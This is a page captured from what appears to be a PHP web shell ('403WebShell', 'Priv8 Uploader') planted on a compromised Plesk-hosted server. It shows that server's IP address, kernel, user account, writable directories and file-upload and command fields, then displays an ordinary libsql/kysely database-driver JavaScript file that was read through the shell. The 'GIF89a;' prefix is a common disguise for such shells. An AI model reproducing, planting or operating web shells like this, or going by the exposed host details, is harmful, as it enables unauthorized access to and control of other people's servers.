GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
GIF89a;

Priv8 Uploader By InMyMine7

Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
403WebShell
403Webshell
Server IP : 82.165.91.112  /  Your IP : 216.73.216.147
Web Server : Apache
System : Linux gallant-poincare.82-165-91-112.plesk.page 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : nr7.net_tfpqq467gv ( 10001)
PHP Version : 8.4.25
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/@libsql/kysely-libsql/lib-esm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/nr7.net/emdash.nr7.net/node_modules/@libsql/kysely-libsql/lib-esm/index.js
import * as libsql from "@libsql/client";
import * as kysely from "kysely";
export * as libsql from "@libsql/client";
export class LibsqlDialect {
    #config;
    constructor(config) {
        this.#config = config;
    }
    createAdapter() {
        return new kysely.SqliteAdapter();
    }
    createDriver() {
        let client;
        let closeClient;
        if ("client" in this.#config) {
            client = this.#config.client;
            closeClient = false;
        }
        else if (this.#config.url !== undefined) {
            client = libsql.createClient(this.#config);
            closeClient = true;
        }
        else {
            throw new Error("Please specify either `client` or `url` in the LibsqlDialect config");
        }
        return new LibsqlDriver(client, closeClient);
    }
    createIntrospector(db) {
        return new kysely.SqliteIntrospector(db);
    }
    createQueryCompiler() {
        return new kysely.SqliteQueryCompiler();
    }
}
export class LibsqlDriver {
    client;
    #closeClient;
    constructor(client, closeClient) {
        this.client = client;
        this.#closeClient = closeClient;
    }
    async init() { }
    async acquireConnection() {
        return new LibsqlConnection(this.client);
    }
    async beginTransaction(connection, _settings) {
        await connection.beginTransaction();
    }
    async commitTransaction(connection) {
        await connection.commitTransaction();
    }
    async rollbackTransaction(connection) {
        await connection.rollbackTransaction();
    }
    async releaseConnection(_conn) { }
    async destroy() {
        if (this.#closeClient) {
            this.client.close();
        }
    }
}
export class LibsqlConnection {
    client;
    #transaction;
    constructor(client) {
        this.client = client;
    }
    async executeQuery(compiledQuery) {
        const target = this.#transaction ?? this.client;
        const result = await target.execute({
            sql: compiledQuery.sql,
            args: compiledQuery.parameters,
        });
        return {
            insertId: result.lastInsertRowid,
            numAffectedRows: BigInt(result.rowsAffected),
            rows: result.rows,
        };
    }
    async beginTransaction() {
        if (this.#transaction) {
            throw new Error("Transaction already in progress");
        }
        this.#transaction = await this.client.transaction();
    }
    async commitTransaction() {
        if (!this.#transaction) {
            throw new Error("No transaction to commit");
        }
        await this.#transaction.commit();
        this.#transaction = undefined;
    }
    async rollbackTransaction() {
        if (!this.#transaction) {
            throw new Error("No transaction to rollback");
        }
        await this.#transaction.rollback();
        this.#transaction = undefined;
    }
    async *streamQuery(_compiledQuery, _chunkSize) {
        throw new Error("Libsql Driver does not support streaming yet");
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit